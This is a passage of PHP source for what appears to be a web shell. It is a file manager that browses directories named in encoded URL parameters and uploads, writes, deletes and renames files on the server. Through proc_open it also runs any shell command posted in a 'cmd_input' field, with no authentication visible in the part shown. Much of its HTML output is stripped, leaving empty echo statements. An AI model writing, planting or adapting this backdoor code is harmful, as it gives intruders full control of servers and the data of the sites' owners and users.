$d) $_GET[$c] = y($d);
$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory);
chdir($currentDirectory);
$viewCommandResult = '';
$statusMessage = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES['fileToUpload'])) {
$target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]);
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
$statusMessage = '
File "' . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . '" uploaded successfully
';
} else {
$statusMessage = '
Error: Failed to upload file
';
}
} elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) {
$newFolder = $currentDirectory . '/' . $_POST['folder_name'];
if (!file_exists($newFolder)) {
mkdir($newFolder);
$statusMessage = '
Folder created successfully
';
} else {
$statusMessage = '
Error: Folder already exists
';
}
} elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) {
$fileName = $_POST['file_name'];
$newFile = $currentDirectory . '/' . $fileName;
if (!file_exists($newFile)) {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
$statusMessage = '
File created successfully
';
} else {
$statusMessage = '
Error: Failed to create file
';
}
} else {
if (file_put_contents($newFile, $_POST['file_content']) !== false) {
$statusMessage = '
File edited successfully
';
} else {
$statusMessage = '
Error: Failed to edit file
';
}
}
} elseif (isset($_POST['delete_file'])) {
$fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
if (file_exists($fileToDelete)) {
if (is_dir($fileToDelete)) {
if (deleteDirectory($fileToDelete)) {
$statusMessage = '
Folder deleted successfully
';
} else {
$statusMessage = '
Error: Failed to delete folder
';
}
} else {
if (unlink($fileToDelete)) {
$statusMessage = '
File deleted successfully
';
} else {
$statusMessage = '
Error: Failed to delete file
';
}
}
} else {
$statusMessage = '
Error: File or directory not found
';
}
} elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
$oldName = $currentDirectory . '/' . $_POST['old_name'];
$newName = $currentDirectory . '/' . $_POST['new_name'];
if (file_exists($oldName)) {
if (rename($oldName, $newName)) {
$statusMessage = '
Item renamed successfully
';
} else {
$statusMessage = '
Error: Failed to rename item
';
}
} else {
$statusMessage = '
Error: Item not found
';
}
} elseif (isset($_POST['cmd_input'])) {
$command = $_POST['cmd_input'];
$descriptorspec = [
0 => ['pipe', 'r'],
1 => ['pipe', 'w'],
2 => ['pipe', 'w']
];
$process = proc_open($command, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errors = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
if (!empty($errors)) {
$viewCommandResult = '
Command Result (Error Output):
';
} else {
$viewCommandResult = '
';
}
} else {
$viewCommandResult = '
Error: Failed to execute command
';
}
} elseif (isset($_POST['view_file'])) {
$fileToView = $currentDirectory . '/' . $_POST['view_file'];
if (file_exists($fileToView)) {
$fileContent = file_get_contents($fileToView);
$viewCommandResult = '
Viewing: ' . $_POST['view_file'] . '
';
} else {
$viewCommandResult = '
Error: File not found
';
}
}
}
echo '';
echo $statusMessage;
echo '
';
echo 'Current Directory: ';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
foreach ($directories as $index => $dir) {
if ($dir === '') continue;
$currentPath .= DIRECTORY_SEPARATOR . $dir;
echo ' /
' . $dir . '';
}
echo ' /
[Home]';
echo '
';
echo '
';
echo '';
echo '';
echo '';
echo '';
echo '
';
echo $viewCommandResult;
echo '
';
echo '
';
echo '';
echo '';
echo '| Name | ';
echo 'Size | ';
echo 'Modified | ';
echo 'Permissions | ';
echo 'View | ';
echo 'Delete | ';
echo 'Rename | ';
echo '
';
echo '';
echo '';
foreach (scandir($currentDirectory) as $v) {
if ($v == '.' || $v == '..') continue;
$u = realpath($v);
$s = stat($u);
$itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?d=' . x($currentDirectory) . '&f=' . x($v);
$permission = substr(sprintf('%o', fileperms($u)), -4);
$writable = is_writable($u);
$rowClass = $writable ? 'writable' : '';
echo '';
echo '| ' . $v . (is_dir($v) ? ' /' : '') . ' | ';
echo '' . (is_dir($v) ? '<DIR>' : formatFileSize(filesize($u))) . ' | ';
echo '' . date('Y-m-d H:i', filemtime($u)) . ' | ';
echo '' . $permission . ' | ';
// View button
echo '';
echo '';
echo ' | ';
// Delete button
echo '';
echo '';
echo ' | ';
// Rename form
echo '';
echo '';
echo ' | ';
echo '
';
}
echo '';
echo '
';
echo '
';
function deleteDirectory($dir) {
if (!file_exists($dir)) {
return true;
}
if (!is_dir($dir)) {
return unlink($dir);
}
foreach (scandir($dir) as $item) {
if ($item == '.' || $item == '') {
continue;
}
if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
return false;
}
}
return rmdir($dir);
}
function formatFileSize($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
return $bytes . ' bytes';
} elseif ($bytes == 1) {
return $bytes . ' byte';
} else {
return '0 bytes';
}
}
?>